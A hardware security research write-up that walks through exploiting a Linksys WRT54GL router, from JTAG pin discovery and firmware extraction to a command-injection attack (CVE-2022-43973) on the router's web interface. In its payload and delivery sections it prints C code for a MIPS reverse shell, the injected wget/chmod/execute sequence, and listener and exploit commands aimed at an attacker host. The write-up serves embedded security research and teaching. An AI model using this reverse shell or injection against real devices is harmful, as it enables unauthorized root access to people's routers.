From Solder to Shell: Full Hardware Exploitation of the Linksys WRT54GL Router (CVE-2022-43973)

A 10-phase embedded security research journey — from JTAG pin discovery to remote code execution on a MIPS-based consumer router.

Disclaimer: This research was conducted for educational and research purposes only on hardware I personally own. No unauthorized systems were accessed. All techniques described here should only be reproduced on devices you own or have explicit written authorization to test. The author assumes no liability for any misuse of the information presented. Always comply with applicable laws, regulations, and responsible disclosure practices.

Table of Contents

• Executive Summary
• Target Device Overview
• Phase 1–2: Hardware Reconnaissance and Pin Discovery
• Phase 3–4: JTAG Debugging and Firmware Extraction
• Phase 5–6: Firmware Analysis and Emulation
• Phase 7: Vulnerability Research — CVE-2022-43973
• Phase 8: Payload Development — MIPS Reverse Shell
• Phase 9: Exploit Delivery and Root Shell
• Phase 10: Network and Session Analysis
• Tools and Technologies
• Key Takeaways
• References
• Detailed Documentation
• License

Executive Summary

• Target: Linksys WRT54GL v1.1 — a widely deployed consumer router based on the Broadcom BCM5352 chipset (MIPS 32-bit architecture)
• Vulnerability: CVE-2022-43973 — Remote Code Execution via command injection in the HTTP management interface
• Scope: Complete hardware-to-software exploitation chain spanning 10 phases, from physical JTAG access to remote root shell
• Outcome: Full remote root shell obtained via a custom MIPS reverse shell payload
• Tools: JTAGulator, Attify Badge, OpenOCD, Ghidra, binwalk, FirmAE, Docker with Broadcom MIPS cross-compilation toolchain

Target Device Overview

The Linksys WRT54GL is one of the most iconic consumer routers ever produced. Its open-source firmware support made it a favorite among enthusiasts and researchers alike. Despite its age, it remains in active use worldwide, making it a relevant target for embedded security research.

Phase 1–2: Hardware Reconnaissance and Pin Discovery

The first step in any hardware security assessment is physical inspection. After opening the device enclosure, I identified two debug interfaces on the PCB:

• A 12-pin JTAG header (unpopulated) for hardware-level debugging
• A 10-pin serial (UART) port operating at 3.3V TTL levels

Since the JTAG header was unpopulated, I soldered a temporary pin header to access the debug interface. Using a multimeter, I identified ground and Vcc lines and confirmed that the target operates at 3.3V logic levels — critical to avoid damaging the chipset.

JTAG Pin Discovery with JTAGulator

To map the JTAG signals, I used a JTAGulator by Grand Idea Studio — a hardware tool designed to automatically identify debug interfaces by probing all possible pin combinations.

The JTAGulator successfully identified the following JTAG pinout:

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

Phase 3–4: JTAG Debugging and Firmware Extraction

With the JTAG pins identified, I connected an Attify Badge — an open-source hardware security assessment tool (GNU GPL v3.0) featuring an FTDI FT2232H chip — to the router's JTAG header.

I launched OpenOCD (Open On-Chip Debugger) with a custom configuration tailored for the BCM5352 target, since the official configurations were incompatible with this specific hardware revision.

Flash Memory Layout

The custom OpenOCD configuration defines the router's flash partition layout:

Firmware Dump

After halting the CPU, I performed a full 4 MB dump of the memory-mapped NOR flash:

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Phase 5–6: Firmware Analysis and Emulation

Static Analysis with binwalk

Using binwalk, I analyzed the firmware dump to identify embedded filesystems, compressed segments, and the kernel image:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # entropy analysis
sha256sum ./dumps/wrt54gl.bin     # integrity verification

The analysis revealed a SquashFS root filesystem containing a standard BusyBox-based Linux environment. I extracted it using binwalk -e and unsquashfs for deeper inspection.

Firmware Emulation with FirmAE

To create a safe testing environment, I set up firmware emulation using FirmAE — an automated firmware emulation framework that supports MIPS architectures. This allowed me to reproduce the router's services (HTTP, telnet) in a virtual environment and test exploits without risk to the physical device.

Phase 7: Vulnerability Research — CVE-2022-43973

Using Ghidra (NSA's reverse engineering framework) with the MIPS decompiler plugin, I performed static analysis on the extracted firmware binaries to confirm the presence of CVE-2022-43973.

Vulnerability Details

The vulnerability exists in the router's CGI request handler. The ui_language form field in the /apply.cgi endpoint accepts arbitrary input without sanitization. By injecting shell commands wrapped in ;cmd; syntax, an attacker can stage commands that are subsequently executed when a firmware upgrade is triggered via /upgrade.cgi.

Affected firmware versions:

• v4.30.18 (latest) — requires session-based authentication
• v4.30.16 (older) — uses HTTP basic authentication only

Phase 8: Payload Development — MIPS Reverse Shell

I developed a custom reverse shell in C, purpose-built for the router's MIPS architecture. The payload establishes a TCP connection back to the attacker, redirects all standard file descriptors to the socket, and spawns an interactive shell:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr

execve("/bin/sh", sh_argv, NULL);

Cross-Compilation with Docker

To compile the payload for the target architecture, I built a reproducible Docker environment containing the Broadcom MIPS cross-compilation toolchain (hndtools-mipsel-linux-3.2.3), sourced from the official Linksys GPL release (WRT54GL-ETSI_v4.30.18.006):

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

The resulting binary is statically linked for portability — no shared library dependencies on the target.

Phase 9: Exploit Delivery and Root Shell

I developed a Python exploit framework that automates the entire attack chain by leveraging CVE-2022-43973. The exploit executes a 4-step sequence, each injected as a command via the ui_language parameter:

Attack Sequence

1. Upload payload — Inject a wget command to download the MIPS reverse shell binary from the attacker's HTTP server to /tmp/X on the router
2. Set permissions — Inject chmod +x /tmp/X to make the binary executable
3. Execute payload — Inject /tmp/X <attacker_ip> <port> to launch the reverse shell
4. Clean up — Reset ui_language to its default value (en)

Each command is wrapped as ;cmd; in the ui_language field and sent via POST /apply.cgi. A subsequent POST /upgrade.cgi triggers execution.

Execution

On the attacker's machine, three terminals are required:

# Terminal 1: Serve the reverse shell binary
python -m http.server 8000

# Terminal 2: Listen for the incoming reverse shell
nc -lvnp 4141

# Terminal 3: Launch the exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

Result: Root Shell

The reverse shell connects back to the attacker's Netcat listener, providing an interactive root shell on the router.

Phase 10: Network and Session Analysis

To validate the full exploit chain, I captured network traffic with Wireshark during the attack. The analysis confirmed:

• Correct HTTP POST injection sequence to /apply.cgi and /upgrade.cgi
• Successful payload download via wget from the attacker's HTTP server
• Reverse shell TCP connection established on port 4141
• Session cookie and authentication flow integrity

Tools and Technologies

Key Takeaways

1. Physical access is a powerful attack vector. JTAG provides root-level hardware access that bypasses all software security mechanisms. Organizations deploying embedded devices should consider physical security controls and disabling debug interfaces in production firmware.

2. Firmware extraction is foundational. Dumping and analyzing firmware reveals the full software stack — including hardcoded credentials, configuration data, and vulnerable code paths that are invisible from a network-only perspective.

3. Emulation enables safe, repeatable research. Tools like FirmAE allow researchers to reproduce device behavior in a virtual environment, enabling iterative testing without risking physical hardware or triggering unintended consequences.

4. Simple input validation failures have critical impact. CVE-2022-43973 demonstrates how a single unsanitized form field in a web interface can lead to full device compromise with root-level access. Defense in depth — input validation, least privilege, and secure coding practices — remains essential.

5. Reproducible toolchains matter. Docker-based cross-compilation environments ensure that payloads and tools can be rebuilt reliably, making research results verifiable and shareable.

6. Legacy devices represent ongoing risk. The WRT54GL remains in active use globally. End-of-life devices that no longer receive security updates pose a persistent threat to network security.

References

Vulnerability

• CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
• CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

Hardware Tools

• Attify Badge — https://docs.attify.com/ (GNU GPL v3.0)
• JTAGulator — Grand Idea Studio: https://github.com/grandideastudio/jtagulator
• JTAG Standard — IEEE 1149.1 (Standard Test Access Port and Boundary-Scan Architecture)

Software Tools

• OpenOCD — https://openocd.org/
• Ghidra — https://ghidra-sre.org/
• FirmAE — https://github.com/pr0v3rbs/FirmAE
• Firmadyne — https://github.com/firmadyne/firmadyne
• binwalk — https://github.com/ReFirmLabs/binwalk

Vendor

• Linksys WRT54GL Firmware — https://www.linksys.com/us/support-article?articleNum=148648
• Linksys GPL Toolchain — https://www.linksys.com/us/support-article?articleNum=114663

Detailed Documentation

For in-depth technical details, refer to the following documents:

License

This project is licensed under the MIT License — see the LICENSE file for details.

If reproducing Attify or JTAGulator schematics, follow their respective licenses (GNU GPL v3.0 for Attify components).

Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec